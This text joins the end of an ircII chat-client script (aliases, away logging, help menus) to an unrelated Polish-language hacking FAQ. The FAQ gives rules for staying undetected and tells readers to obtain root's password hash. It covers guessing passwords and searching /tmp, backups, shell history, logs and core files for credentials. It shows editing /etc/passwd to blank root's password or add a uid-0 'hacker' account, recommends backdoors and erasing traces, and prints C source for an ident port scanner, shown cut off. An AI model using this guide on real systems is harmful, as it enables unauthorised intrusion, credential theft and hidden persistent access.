	echo *$0* $1-
	if (([$A]!=[])&&([$wegtext]!=[])){
      @ datum = [$stime($time())]
      @ tijd = [$word(3 $datum)]
      @ dattijd = [$word(1 $datum)] ## [ $word(2 $datum)] ## [ $mid(0 5 $tijd)]
		//^msg %away  <$0!$userhost() [$dattijd]> $1-
		if (!rmatch($0 $^\nickssent)) {
			^notice $0 Your messages are being logged
			@ nickssent = nickssent ## [ $0]
		}{}
	}
}
on ^notice "*" {echo -$0\- $1-}
on ^action "*" if ([$1]==[$N]) {
	echo *> $0 $2-
	}{
	if ([$1]==[$C]) {
		echo * $0 $2-
	}{
		echo * $0:$1 $2-
	}
}
on ^dcc_chat "*" {echo =$0\= $1-}
on ^raw_irc "% PRIVMSG % :VER**" {
	if (![$isignored($0)]) {
		if ([$left($index(! $0) $0)]!=[$N]) {
			if (([$[1]2]==[#])||([$[1]2]==[&])) {
  echo $G $left($index(! $0) $0) has checked eveyone's version on channel $2
			}{
		echo $G $left($index(! $0) $0) has checked my version
			}
	notice $left($index(! $0) $0) VERSION $N is using $Gi $version\
		}{
		echo $G You are using $Gi $version\
		}
	}{#}
}
on ^raw_irc "% PRIVMSG % :FINGER**" {
  if (![$isignored($0)]) {
echo $G $left($index(! $0) $0) has fingered you (hehe i tak nic sie nie dowie;)
	}{#}
}
on ^ctcp "% % PING" {
	if ([$A]) {
		^assign pingtext ouch! - I am just /away, $0\: $A
	}{
		^assign pingtext ouch!
	}
	if (([$[1]1]==[#])||([$[1]1]==[&])) {
		echo $G $0 has pinged everyone on channel $1
	}{
		echo $G $0 has pinged you
	}
	notice $0 $pingtext
}
on ^notify_signon "*" userhost $0 -CMD if ([$4]!=[]) 
{/echo $G Signon at $Z for $0 [$3@$4] detected}
on ^notify_signoff "*" echo $G Signoff at $Z for $0 detected
on ^mail "*" {/echo $G You have new mail: $0 new, $1 unread}
on ^wallop * {
	if ([$1]==[+]){
		echo !$0\*! $2-
	}
	if ([$1]==[-]){
		echo !$0\! $2-
	}
	if ([$1]==[S]){
		echo !$0\! $2-
	}
}
on ^send_action "*" if (([$[1]0]!=[#])&&([$[1]0]!=[&])) {
	echo * -> $0 $N $1-
	}{
	echo * $N $1-
}
on ^send_notice "*" {
	if (([$[1]0]!=[#])&&([$[1]0]!=[&])){
		echo -> -$0\- $1-
	}{
		if ([$0]==[$C]){
			echo - $1-
		}{
			echo -$0\> $1-
		}
	}
}
on ^send_msg "*" {
	if (([$[1]0]!=[#])&&([$[1]0]!=[&])){
		echo -> *$0\* $1-
	}{
		if ([$0]==[$C]{
			echo > $1-
		}{
			echo >$0\> $1-
		}
	}
	^tk.addmsg $0 $tk.msglist
}
on #-send_msg 12 * ^assign prevmsg $1-
on #-msg 38 * ^tk.addmsg $0 $tk.msglist
on ^send_dcc_chat "*" {
	echo -> =$0\= $1-
	^tk.addmsg \=$0 $tk.msglist
}
on #-dcc_chat 38 * ^tk.addmsg \=$0 $tk.msglist
on ^flood * {
	#
	negeren $0
}
on #-public 16 "% % **" if ([$biep]==[ON]){//beep}{}
on #-public_other 16 "% % **" if ([$biep]==[ON]){//beep}{}
on #-public_msg 16 "% % **" if ([$biep]==[ON]){//beep}{}
on #-public_notice 16 "% % **" if ([$biep]==[ON]){//beep}{}
on #-action 16 "% % **" if ([$biep]==[ON]){//beep}{}
on #-msg 16 "% **" if ([$biep]==[ON]){//beep}{}
on #-msg_group 16 "% **" if ([$biep]==[ON]){//beep}{}
on #-notice 16 "% **" if ([$biep]==[ON]){//beep}{}
on #-dcc_chat 16 "% **" if ([$biep]==[ON]){//beep}{}
on #-send_public 17 "% **" if ([$biep]==[ON]){//beep}{}
on #-send_action 17 "% **" if ([$biep]==[ON]){//beep}{}
on #-send_msg 17 "% **" if ([$biep]==[ON]){//beep}{}
on #-send_notice "% **" if ([$biep]==[ON]){//beep}{}
on #-send_dcc_chat "% **" if ([$biep]==[ON]){//beep}{}
on ^window "% --- Recursive call to irc_io() - careful" #
on ^window "% Try `finger .help'." #
on ^window "% Nobody matching % ever logged in." {
	echo $G No "$3\" logged in, maybe it's a fake-user id.
}

@tk.msgmax = 10
@biep = [OFF]
eval ^userhost $N -CMD eval ^assign muhost $$3@$$4

alias refresh_all {
	parsekey refresh_screen
	parsekey refresh_inputline
}
alias hold {
	^set hold_mode toggle
	echo $G Hold Display Mode is set to: $hold_mode
}
alias floodprot if ([$2]) {
	^ignore *$2\@*$1 all
	echo $G Ignoring $0\'s user@host <*$2\@*$1\>
}{
	^ignore *@*$1 all
	echo $G Ignoring $0\'s host <*@*$1\>
}
alias commands {
echo
echo *** $Gi Commands:
echo *** ~~~~~~~~~~~~~~~~~~~~~~
echo *** /Info                : Get Info about $Gi $version
echo *** /Commands            : Show this Commands List
echo *** /CTRL                : Show a List with available CTRL Commands
echo *** /ESC                 : Show a List with available ESC Commands
echo ***
echo *** /Bell ON         : Set Bell ON, able to hear a Bell (Beep, CTRL G)
echo *** /Bell OFF        : Set Bell OFF, unable to hear a Bell (Beep, CTRL G)
echo *** /WI            : Whois  (No  is /WhoAmI)
	echo *** /WhoAmI              : Check out your own Stats
	echo *** /W <#CHAN>           : Show People on Channel <#CHAN>
	echo *** /T                   : Set Topic
	echo *** /Q             : Start Query with 
	echo *** /M             : Send  a /MSG
	echo *** /MeMsg         : Send  a private /ME Message
	echo *** /MM            : MeMsg 
	echo *** /Inv           : Invite  to your Channel
	echo *** /S                   : Server
	echo *** /P             : Ping 
	echo *** /Cls                 : Clear Screen
	echo *** /C                   : Add specified Mode to Channel
	echo *** /CC                  : Remove specified Mode from Channel
	echo *** /U                   : Add specified Usermode
	echo *** /UU                  : Remove specified Usermode
	echo *** /Ver  : Check out 's Client and/or Script Version
	echo *** /F             : Finger 
	echo *** /Finger        : Client to Client Finger Protocol
	echo *** /I                   : Ignore All
	echo *** /UnIgnore            : Remove Ignore
	echo *** /UI                  : UnIgnore 
	echo *** /UIL                 : UnIgnore Last ignored Nick/Userhost
echo *** /Oops  : Send an 'Oops Message' to the last /MSGd Nick
echo ***                     and send previous /MSG to the right 
echo *** /WO <#CHAN>          : Open another Window with Channel <#CHAN>
echo *** /WS          : Open another Window on Server 
echo *** /WK                  : Kill current Window
echo *** CTRL x               : Switch between Windows
echo ***
echo *** /J             : Join 
	echo *** /L                   : Leave Channel
	echo *** CTRL l               : Switch between Channels
	echo ***
echo *** /Op  : Give  (or more s) Operator Status
echo *** /DOp : Remove 's (or more s') Operator Status
echo *** /K   : Kick  from current Channel with comment 
echo ***
	echo *** /B             : Ban  on Userhost
	echo *** /Ban       : Ban specified 
	echo *** /UB            : UnBan  on Userhost
	echo *** /UnBan     : UnBan specified 
	echo *** /BK            : BanKick  
	echo *** /BL <#CHAN>          : Show Banlist of Channel <#CHAN>
	echo *** /BS          : Show Banlist of Server  
	echo ***
	echo *** /DC                  : DCC Chat
	echo *** /DCX           : Close DCC Chat with 
	echo *** /DS                  : DCC Send
	echo *** /DSX           : Close DCC Send with 
	echo *** /DG                  : DCC Get
	echo *** /DGX           : Close DCC Get with 
	echo *** /DR    : DCC Get & Rename File  to File 
	echo *** /DL                  : Show DCC List
	echo *** /DM            : Send DCC Msg to 
	echo *** /DQ            : Start DCC Chat Query with 
	echo ***
echo *** /SetAway () : Announce Away (with ). Logging Messages
echo *** /SetBack () : Announce Return (with ).Showing Messages 
echo *** /ShowLog             : Show all, during Away, logged Messages
	echo *** /SL                  : ShowLog
	echo *** /ClearLog            : Clear the Logfile
	echo *** /CL                  : ClearLog
	echo ***
	echo *** CTRL i or TAB        : Search back through Message List
	echo *** CTRL f               : Search forward through Message List
	echo *** /MsgList             : Show Nicks on Message List
	echo *** /ML                  : MsgList
	echo *** /AddNick       : Add  to Message List
	echo *** /AN            : AddNick 
echo *** CTRL d        : Delete currently displayed Nick from Message List 
echo *** -------------------------------------------------------- $Gi ---
}
alias ctrl {
	echo
	echo *** $Gi CTRL Commands:
	echo *** ~~~~~~~~~~~~~~~~~~~~~~~~~~~
	echo *** CTRL b               : Bold displayed Text
	echo *** CTRL v               : Inverse displayed Text
	echo *** CTRL _               : Underlined displayed Text
	echo *** CTRL o               : Enter Digraph
	echo ***
	echo *** CTRL g               : Beep (G)
	echo *** CTRL r               : Refresh Screen
	echo ***
	echo *** CTRL u               : Erase Line
	echo *** CTRL k               : Erase to End of Line
	echo *** CTRL t               : Erase to Begin of Line
	echo *** CTRL y               : Restore last deleted Line
	echo ***
	echo *** CTRL n               : Scroll forward half a Page
	echo *** CTRL p               : Scroll back half a Page
	echo *** CTRL a               : Jump to the Start
	echo *** CTRL e               : Jump to the End
	echo ***
	echo *** CTRL l     : Switch between Channels (After 2 or more /JOINs) 
	echo *** CTRL x     : Switch between Windows (After 1 or more /WOs)
	echo *** CTRL w     : Move a Window (After 1 or more /WOs)
	echo ***
	echo *** CTRL i or TAB        : Search back through Message List
	echo *** CTRL f   : Search forward through Message List
	echo *** CTRL d   : Delete currently displayed Nick from Message List
	echo ***
	echo *** CTRL z               : Stop iRC (Return to iRC by typing: fg)
	echo *** CTRL c               : Quit iRC
echo *** -------------------------------------------------------- $Gi ---
}
alias esc {
	echo
	echo *** $Gi ESC Commands:
	echo *** ~~~~~~~~~~~~~~~~~~~~~~~~~~
	echo *** ESC ESC              : Complete the Command
	echo *** ESC m  : Set Hold Display Mode to ON/OFF ( -- more -- )
	echo *** ESC s                : Search for previous Entry
	echo *** ESC b                : Go to the Beginning of the Line
	echo *** ESC e                : Go to the End of the Line
	echo ***
	echo *** ESC i                : Ignore Userhost of last active Nick
	echo *** ESC I                : Ignore Host of last active Nick
	echo ***
	echo *** ESC \)                : Happy Smiley         :-\)
	echo *** ESC \(                : Sad Smiley           :-\(
	echo *** ESC \;                : Winking Smiley       \;-)
	echo *** ESC 8                : Glasses Smiley       8-)
	echo *** ESC P                : Nyahhhh Smiley       :-P
	echo *** ESC |                : Hmmm Smiley          :-|
	echo *** ESC d                : Baseballcap Smiley  d:-)
	echo ***
	echo *** ARROW KEYS           : Move through History or Line
echo *** -------------------------------------------------------- $Gi ---
}
alias ignore {
	if (rmatch($1- MSG* NOT* PUB* INV* WAL* CTC* CRA* ALL)){
		^assign lastignore $0
		if (rmatch($1- ALL)){
			^assign ignorelist[$encode($0)] $0
		}
	}
	if ((rmatch($1- NON*))&&([$0]==[$lastignore])){
		^assign -lastignore
	}
	//ignore $0-
}
alias isignored {
	@function_return=0
	foreach ignorelist xx {
		if (match($ignorelist[$xx] $0)) {
		@function_return = 1
		}
	}
}
alias i ignore $0 all
alias unignore {
	ignore $0 none
	foreach ignorelist xx {
	if ((match($ignorelist[$xx] $0))&&(match($0 $ignorelist[$xx]))){
			^assign -ignorelist[$xx]
		}
	}
}
alias ui unignore
alias uil if ([$lastignore]){
	ui $lastignore
	}{
	echo $G Last ignored Nick/Userhost has already been removed
}
alias q query
alias dq if ([$0]){query =$0}{query}
alias dquery dq
alias wo window new channel $0
alias ws window new server
alias wk window kill
alias k if ([$1]){kick * $0 $1-}{kick * $0 Bye!}
alias bl if ([$0]){mode $0 b}{mode * b}
alias bs stats k
alias b if ([$0]){^userhost $0 -CMD ben $$0 $$3 $$4}{mode * +b}
alias ben {
	if ([$1]==[]){
		echo $G No such nick
		}{
		mode $C -o+b $0 *!*$strip(~ $1)@*$right(${index(. $2)+2} $2)
		}
}
alias ub ^userhost $0 -CMD unben $$0 $$3 $$4
alias unben {
	^assign -tglist
	^assign target $0!$1@$2
	if ([$1]==[]){
		echo $G No such nick
		}{
		^on ^367 * if (rmatch($target $2)){
			^assign tglist $2 ${tglist}
			}{}
		^on ^368 * dounban $$tglist
		mode * b
		}
}
alias dounban {
	mode $C -bbb $0 $1 $2
	if ([$3]){
		dounban $3-
		}{
		^assign -tglist
		timer 3 ^on ^367 -
		^on ^368 -
		}       
}
alias ban mode * +b $0-
alias unban mode * -b $0-
alias join if ((![$0])||([&]==[$[1]0])||([#]==[$[1]0])||
([$0]==[0])||([-]==[$[1]0])) {//join $0-}{//join #$0-}
alias leave if (![$0]) {//leave $C} 
{if (([&]==[$[1]0])||([#]==[$[1]0])||([$0]==[*])) {//leave $0} {//leave #$0}}
alias m msg $0 $1-
alias oops {
	^assign demsg $prevmsg
	msg $. Sorry, that wasn't ment for you :-)
	msg $0 $demsg
}
alias j join
alias l leave
alias wi if ([$0]) {
	if ([$0]==[$N]) {
		echo $G These are your stats:
		whois $N
		mode $N
		}{              
		echo $G These are $0-\'s stats:
		whois $0-
		}
	}{
	echo $G These are your stats:
	whois $N
	mode $N
}
alias whoami wi $N
alias w if ([$0]){
	who $0-
	}{
	who *
}
alias t if (([$[1]0]==[#])||([$[1]0]==[&])) {//topic $0-}{//topic $C $0-}
alias u mode $N $0-
alias uu mode $N -$0- 
alias op mode * +ooo $0-
alias dop mode * -ooo $0-
alias memsg describe
alias mm memsg
alias cls clear
alias c if (([$[1]0]==[#])||([$[1]0]==[&])) {mode $0-}{mode * $0-}
alias cc mode $C -$0-
alias dc dcc chat
alias dcx dcc close chat $0
alias dx dcx
alias dsx dcc close send $0
alias dgx dcc close get $0
alias ds dcc send
alias dg dcc get
alias dr dcc rename $0 $1 $2;dg $0 $2
alias dl dcc list
alias dmsg msg =$0 $1-
alias dm dmsg
alias bell {
	if ([$0]) {
		if (rmatch($0 ON OFF)) {
			if ([$0]==[ON]) {
			^assign biep ON;echo $G BELL is set to: $biep
				}
			if ([$0]==[OFF]) {
			^assign biep OFF;echo $G BELL is set to: $biep
				}
		}{
	echo $G 'BELL $TOUPPER($0)' is no option, only ON and OFF are.
		}
	}{
		echo $G Current BELL status is: $biep
	}
}
alias inv {
  if ([$0]) {
	invite $0 $C
  }
  {echo $G You need to specify a nick to invite.}
}
alias s server $0-
alias p {
  if ([$0]) {//PING $0}
  {//PING $C}
}
alias bk {
	if ([$0]) {
		^userhost $0 -CMD bankick $$0 $$3 $$4 $1
	}{
		echo $G BanKick who?
	}
}
alias bankick {
	if ([$1]==[]){
		echo $G No such nick
	}{
		^assign dummy $2
	mode $C -o+b $0 *!*$strip(~ $1)@*$right(${@dummy-index(. $2)} $2)
		if ([$3]) {
			kick * $0 $3-
		}{
			kick * $0 Bye!
		}
	}
}
alias banprot {
	^assign myhost $N!$muhost
	if (rmatch($2 *+b*)){ 
		if (rmatch($myhost $3)){
			mode $1 -ob $0 $3
			}
		if (rmatch($myhost $4)){
			mode $1 -ob $0 $4
			}
		if (rmatch($myhost $5)){
			mode $1 -ob $0 $5
			}
		if (rmatch($myhost $6)){
			mode $1 -ob $0 $6
			}
		}
}
alias logn ^assign function_return $strip
(~ $left($index(@ $userhost($0)) $userhost($0)))
alias negeren {
	^assign floeder *$logn($0)*
	ignore $floeder all
	^assign janee $"Ignore flooder (y/n)? "
	if (!match($janee y)){ignore $floeder none}{}
}
alias setaway {
	if (([$wegtext]!=[])&&([$A]!=[])) {
		echo $G You are already away: $A
	}
	{
		if (![$0]) {
			^away Will be right back
			me is away. All messages will be logged
			^assign -wegtext
			^assign wegtext Will be right back
		}
		{
			^away $0-
			me is away: $A\. All messages will be logged 
			^assign -wegtext
			^assign wegtext $A
		}
		^assign -nickssent
		^eval exec -name away cat >> $HOME/.gildor.irc.log
		timer 1 ^eval exec chmod 600 $HOME/.gildor.irc.log
		@ datum = [$stime($time())]
		@ tijd = [$word(3 $datum)]
  @ dattijd = [$word(1 $datum)] ## [ $word(2 $datum)] ## [ $mid(0 5 $tijd)]
  timer 2 //^msg %away >> Setaway logfile started on $dattijd \($A\) <<
		^assign logleeg No
	}
}
alias setback {
	if (([$wegtext]!=[])&&([$A]!=[])) {
		^away
		^assign -wegtext
		@ datum = [$stime($time())]
		@ tijd = [$word(3 $datum)]
   @ dattijd = [$word(1 $datum)] ## [ $word(2 $datum)] ## [ $mid(0 5 $tijd)]
		//^msg %away >> Setaway logfile ended on $dattijd <<
		^exec -close %away
		if ([$0]==[]) {
			me is back.
		}{
			me is back: $0-
		}
		if ([$nickssent]){
			input "Show logged messages (y/n)? " if ([$0]==[y]) {
				showlog
			}
	  }{
			echo $G No messages have been logged
			^exec rm $HOME/.gildor.irc.log
			^assign logleeg Yes
	  }
	}{
		if (![$A]) {
			^assign -wegtext
			echo $G You are already back
		}{
			^away
		}
	}
}
alias showlog {
	if ([$logleeg]==[No]) {
		^exec cat $HOME/.gildor.irc.log
	}{
		echo $G Setaway logfile is empty
	}
}
alias clearlog {
	if ([$logleeg]==[No]) {
		^exec rm $HOME/.gildor.irc.log
		echo $G Setaway logfile has been cleared
		^assign logleeg Yes
	}{
		echo $G Setaway logfile has already been cleared
	}
}
alias cl clearlog
alias sl showlog
alias ver {
	if (![$0]) {
		ctcp $N version
	}{
		ctcp $0 version
	}
}
alias f userhost $0 -CMD if 
([$4]!=[]) {exec finger -s $strip(~ $3@$4)}{echo $G I can't find $0}
alias finger {
	if ([$0]) {
		ctcp $0 finger
	}{}
}
alias msglist echo $G Message List: $tk.msglist
alias addnick if ([$1]) 
{addnick $1-};tk.addmsg $0 $tk.msglist;echo $G $0 added to Message List
alias tk.addmsg {
	@ tk.matched = rmatch($0 $^\1-)
	if (tk.matched)
	{
		@ tk.msglist = [$(0-${tk.matched-1}) $(${tk.matched+1}-)]
	}
	#else
	{       @ tk.msglist = [$(0-${tk.msgmax-1})] }
	@ tk.msgcnt = 0
	^assign -tk.matched
}
alias tk.getmsg {
	@ tk.msgcnt = tk.msgcnt + [$0]
	if ( #tk.msglist < tk.msgcnt ) {@ tk.msgcnt = 1}
	if (tk.msgcnt <= 0) {@ tk.msgcnt = #tk.msglist}
	@ tk.junk = K ## [msg]
	type ^U$tk.junk $^^{[$($tk.msgcnt)]} 
}
alias tk.delnick {
	if (tk.msgcnt == 0)
	{
		echo $G $word(0 $tk.msglist) removed from Message List
		@ tk.msglist = [$notword(1 $tk.msglist)]
	}
	{
      echo $G $word(${tk.msgcnt-1} $tk.msglist) removed from Message List
		@ tk.msglist = [$notword($tk.msgcnt $tk.msglist)]
	}
	type ^U
}
alias notword {
    if ([$0] > 0)
    {
	if (([$0] > 1) && ([$0] < rmatch($~ $1-)))
		{ @ nw.sep = [ ] }
		{ @ nw.sep = [] }
		
	@ function_return = [$(1-${[$0]-1})] ## [$nw.sep] ## [$(${[$0]+1}-)]
    }
    {
	@ function_return = [$1-]
    }
}
alias ml msglist
alias an addnick

eval echo $G $version Loaded.

### End of Script ###

-- CUTE HERE --

3.1 Hackerskie zasady 

Oto kilka zasad, ktorych prawdziwy hacker powinien przestrzegac i nigdy nie
lekcewazyc !!!

1. Nigdy nie uszkadzaj systemu, do ktorego sie wlamujesz.

2. Nigdy nie zmieniaj plikow systemowych, oprocz tych, ktore powinienes
   zabezpieczyc, aby nie zostac wykrytym i tych ktore sam zabezpieczyles
   aby zyskac bezpieczny dostep w przyszlosci.

3. Nigdy nie zmieniaj hasel, na kogos koncie, bo moga zajsc podejrzenia, a po
   za tym, jesli zmienisz to i tak sie dlugo nie nacieszysz tym kontem ;)

4. Nie czytaj, czyjejs poczty, chyba ze jesli juz masz taka potrzebe,
   to zostaw ja na serwerze, by wlasciciel mial do niej dostep.

5. Nie mow nikomu o swoich czynach, projektach z wyjatkiem osob, ktorym ufasz.
 
6. Nigdy nie uzywaj prawdziwych imion, nazwiska, numeru telefonu,  staraj
   sie uzywac imion kobiecych, sa mniej podejrzane

7. Zostaw system w takim stanie jak go zastales.

8. Nie mow o swoich planach przez telefon domowy.

9. Badz przezornym az do przesady, trzymaj wszystkie materialy w bezpiecznym
   miejscu.

10. Aby stac sie prawdziwym hackerem musisz hackowac, a nie siedziec  i
    tylko czytac, albo przywlaszczac sobie czyjes osiagniecia ;)


3.2 Od czego zaczac

  Na poczatku musimy posiadac jakiekolwiek konto w internecie, najlepiej z
dostepem do shella. Warto zaznaczyc by bylo anonimowe, lub z falszywymi danymi.
Najlepiej posiadac w domu jakis komputer ;),porzadny system operacyjny, mam na
mysli jakiegos Linuxa. Miec troche checi i.. szczescia ;) Konto mozna sobie
zalozyc za friko na jednym z serwerow wymienionych na koncu tego FAQ.



3.3 Twoje glowne zadanie 

 Twoim glownym zadaniem jako hackera jest zdobycie hasla roota , co wiaze sie
z faktem zdobycia pliku /etc/passwd lub /etc/shadow, w przypadku wlaczonego
shadowingu. Plik ten zawiera informacje na temat uzytkownika, shella, katalog
domowy i.. zakodowane haslo ;)

Przykladowy plik passwd wyglada tak:

root:hY8Y6dgdt5GT3:0:0:Root:/root:/bin/tcsh
sysadm:x:0:0:System V Administration:/usr/admin:/bin/sh
diag:x:0:996:Hardware Diagnostics:/usr/diags:/bin/csh
daemon:x:1:1:daemons:/:/dev/null
bin:x:2:2:System Tools Owner:/bin:/dev/null
uucp:x:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh
sys:x:4:0:System Activity Owner:/var/adm:/bin/sh
adm:x:5:3:Accounting Files Owner:/var/adm:/bin/sh
lp:x:9:9:Print Spooler Owner:/var/spool/lp:/bin/sh
nuucp:x:10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico
auditor:IodhysTGtydhY:11:0:Audit Activity Owner:/auditor:/bin/sh
franklins:IkUjyhUtyfHyj:4086:20:Scott Frankiln:/usr/staff/franklins:/bin/tcsh
bartekk:YKifhjdHyd654:4090:20:Bartosz Kotkowski:/usr/staff/bartekk:/bin/tcsh
robertp:JufjUjdts54Df:4091:20:Robert Prus:/usr/staff/robertp:/bin/tcsh
andrew:SfjidThdyJ5dg:4092:20:Andrzej Tucholski:/usr/staff/andrew:/bin/tcsh

Jesli hasla sa shadowane, umieszczone sa w pliku /etc/shadow i wyglada to tak:
 
root:x:0:0:Root:/root:/bin/tcsh
sysadm:x:0:0:System V Administration:/usr/admin:/bin/sh
diag:x:0:996:Hardware Diagnostics:/usr/diags:/bin/csh
daemon:x:1:1:daemons:/:/dev/null
bin:x:2:2:System Tools Owner:/bin:/dev/null
uucp:x:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh
sys:x:4:0:System Activity Owner:/var/adm:/bin/sh
adm:x:5:3:Accounting Files Owner:/var/adm:/bin/sh
lp:x:9:9:Print Spooler Owner:/var/spool/lp:/bin/sh
nuucp:x:10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico
auditor:x:11:0:Audit Activity Owner:/auditor:/bin/sh
franklins:x:4086:20:Scott Frankiln:/usr/staff/franklins:/bin/tcsh
bartekk:x:4090:20:Bartosz Kotkowski:/usr/staff/bartekk:/bin/tcsh
robertp:x:20:Robert Prus:/usr/staff/robertp:/bin/tcsh
andrew:x:4092:20:Andrzej Tucholski:/usr/staff/andrew:/bin/tcsh

Oto co oznaczaja powyzsze rzeczy:

Dla przykladu : 

andrew: SfjidThdyJ5dg:4092:20:Andrzej Tucholski:/usr/staff/andrew:/bin/tcsh
  
Nazwa uzytkownika: andrew
Zakodowane haslo: SfjidThdyJ5dg
Numer uzytkownika (UID): 4092
Numer grupy(GID): 20               
Inne informacje: Andrzej Tucholski
Katalog wlasny: /usr/staff/andrew
Shell: /bin/tcsh

Jesli pliku passwd nie ma w /etc mozna go znalezc w jendym z podanych miejsc
w zaleznosci od systemu UNIX :

WERSJA UNIXA                    SCIEZKA

AIX 3                           /etc/security/passwd

A/UX 3.Os                       /tcb/files/auth/

BSD4.3-Reno                     /etc/master.passwd

ConvexOS 10                     /etc/shadpw

DG/UX                           /etc/tcb/aa/user

HP-UX                           /.secure/etc/passwd

SunOS 4.1+c2                    /etc/security/passwd.adjunct

System V 4.2                    /etc/security/database

Ultrix 4                        /etc/auth

UNICOS                          /etc/udb


3.4 Metody lamania systemu - wprowadzenie

  Metod jest bardzo wiele i zalezy to od systemu jaki chcemy zhackowac i od 
dziur jakie sie w nim znajduja. Na poczatku najlepiej miec konto jakiegos 
zwyklego uzytkownika. Jesli juz mamy jedno konto mozna zadbac o to by zdobyc 
jeszcze kilka innych kont, czesto sie to przydaje. Mozna na przyklad sprobowac 
rozszywrowac kilka kont metoda "trafiony zatopiony";) Bardzo czesto zdarza sie 
ze uzytkownicy systemu - takich chyba okresla sie mianem lama ;) - haslo maja 
takie samo jak login. Albo uzytkownik np.ewa haslo ma awe, lub ewa pass: EWA
Mozna tez do tego podejsc psyhologicznie i strzelac nieco inaczej. Na przyklad
uzytkownik z loginem : jarek moze miec haslo: drewno ;) Skad te powiazanie?
A..,znamy goscia i wiemy ze jest zapalonym stolarzem , tylko tym zyje i o tym 
mysli ;))). Mozna tez sprobowac powiazac Nazwisko,czy tez nazwe firmy z haslem.
  Jesli juz nam sie udalo zdobyc kikla kont przejdzmy do kroku kolejnego.Warto
poweszyc po systemie. Na przyklad popatrzec w katalog /tmp mozna tam czasem
znalezc wiele ciekawych rzeczy. Dla przykladu: niedawno na jednym z serwerow
w katalogu /tmp znalazlem plik, w ktorym co jakis czas pojawiala sie kopia
poczty adminow. Byly w niej informacje o wszystkich zalozonych kontach i oczy-
wiscie hasla ;) Czesto root ma zarchiwizowane dane w jakims katalogu ./backup, 
tez warto rozejrzec sie za takimi katalogami. Mozna tez popatrzec w logi i 
historie ( np. bash.history przy powloce bash). Czesto jak ktos sie zapedzi
przy wpisywaniu hasla, odnotowane jest to w logach ;). Bardzo ciekawym katalo-
giem jest katalog var, tam rowniez mozna znalezc kilku przydatnych plikow, 
szczegolnie w podkatalogu /log. Mozna tez popatrzec za plikami o nazwie: core
Sa to bardzo ciekawe pliki automatycznie tworzone po dokonaniu przez program
jakiegos bledu lub przepelnienia. W pliku tym kryje sie czesto wiele cennych 
danych. Po dokonaniu odpowiedniej filtracji mozna go spokojnie przejrzec ;)
Filtracji mozemy dokonac metoda :

strings core >plik_docelowy

I teraz interesuje nas plik_docelowy w ktorym sa przefiltrowane dane. Jest to
dosc dobra i skuteczna metoda, gdyz plik ten tworzony jest automatycznie bez
wiedzy uzytkownika systemu. W dalszym punkcie wyjasnie jak celowo mozna dopro-
wadzic do wywolania powstania pliku core i przez to zdobycie hasla roota ;)
A co jesli nie mamy zadnego konta na serwerze?
Na to rowniez jest wiele metod. Podstawa jest kilka prostych programikow.
Niektorych kody zrodlowe umiescilem w dalszej czesci FAQ. Przydatny jest 
scan port, scanujacy wszystkie porty, scaner www, sendmail scaner, proste 
sniffery, exploity na sendmaila i kilka innych. Troche metod omowie w dalszych
punktach.

3.5 Sposoby na poprawienie sobie bytu 

Jesli juz mamy mozliwosc pisania do /etc/passwd, lub odczytania pliku 
/etc/shadow mozemy szalec ;)

Mozna na przyklad zmienic linijke roota w pliku /etc/passwd
root:x:0:0:Root:/root:/bin/tcsh
na:
root::0:0:root:/root:/bin/tcsh
i teraz wystarczy:

login: root
Password:

Mozna tez dodac swoja linijke z uprawnieniami roota np:

hacker::0:0::/:/bin/tcsh 

Mozna tez zmienic haslo rootowi, ale wszystkie powyzsze metody sa lamerskie 
i raczej na krotka mete. Wydawalo by sie, ze fajnie jest namieszac, wkurzyc 
roota i pozmieniac mu wszystko co sie da. Doprowadzi to jednak tylko do tego,
ze root, albo zaladuje sobie system z backup disk, albo wejdzie jakas inna 
metoda, zabezpieczy sobie system i bedzie dziesiec razy czujniejszy.
Ma to sens tylko wtedy, gdy chcemy komus zrobic na zlosc, kogos nie lubimy,
albo mamy wyjatkowo dobry humor ;-), Warto poszukac jakiegos ciekawszego
rozwiazania. Na przyklad dodac sie do zaufanych hostow, otworzyc sobie "tylne 
dzwi" ( back door), lub po prostu miec roota, niczego nie zmieniac i dobrze 
zacierac za soba slady.

4.1.Scanowanie dziur serwera 

  Polega na scanowaniu serwera i szukaniu dziur w deamons na rootcie, httpd
na rootcie, szukaniu backdoor na roznych portach i innych dziur.Ponizej
zamieszczam zrodlo programu ktory zrobi to za nas. Nalezy go skompilowac
(gcc)i wywolywac z opcjami: scanhost   

-- CUT HERE - 

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

enum errlist
{
  BAD_ARGS,BAD_HOST,NO_IDENT,SOCK_ERR
};

void
usage(error)
enum errlist error;
{
  fprintf(stderr,"ident-scan: ");
  switch(error)
  {
    case BAD_ARGS: fprintf(stderr,"usage: ident-scan hostname [low port]
[hi port]\n");
		   break;
    case BAD_HOST: fprintf(stderr,"error: cant resolve hostname\n");
		   break;
    case NO_IDENT: fprintf(stderr,"error: ident isnt running on host\n");
		   break;
    case SOCK_ERR: fprintf(stderr,"error: socket() failed\n");
		   break;
  }
  exit(-1);
}

struct hostent *
fill_host(machine,host)
char *machine;
struct hostent *host;
{

  if ((host=gethostbyname(machine))==NULL)
  {
     if ((host=gethostbyaddr(machine,4,AF_INET))==NULL)
	return(host);
  }
  return(host);
}

int
main(argc,argv)
int argc;
char **argv;
{
  struct sockaddr_in forconnect,forport,forident;
  int i,sockfd,identfd,len=sizeof(forport),hiport=9999,loport=1,curport;
  struct servent *service;
  struct hostent *host;
  char identbuf[15], recieved[85], *uid;

  if ((argc<2) || (argc>4))
    usage(BAD_ARGS);
  if (argc>2)
     loport=atoi(argv[2]);
  if (argc>3)
     hiport=atoi(argv[3]);
  if ((host=fill_host(argv[1],host))==NULL)
    usage(BAD_HOST);
  forconnect.sin_family=host->h_addrtype;
  forconnect.sin_addr.s_addr=*((long *)host->h_addr);
  forident.sin_family=host->h_addrtype;
  forident.sin_addr.s_addr=*((long *)host->h_addr);
  forident.sin_port=htons(113);

  if ((identfd=socket(AF_INET,SOCK_STREAM,0))== -1)
     usage(SOCK_ERR);
  if ((connect(identfd,(struct sockaddr *)&forident,sizeof(forident)))!=0)
     usage(NO_IDENT);
  close(identfd);

  for(curport=loport;curport<=hiport;curport++)
  {
     for(i=0;i!=85;i++)
	recieved[i]='\0';
     forconnect.sin_port=htons(curport);
     if ((sockfd=socket(AF_INET,SOCK_STREAM,0))== -1)
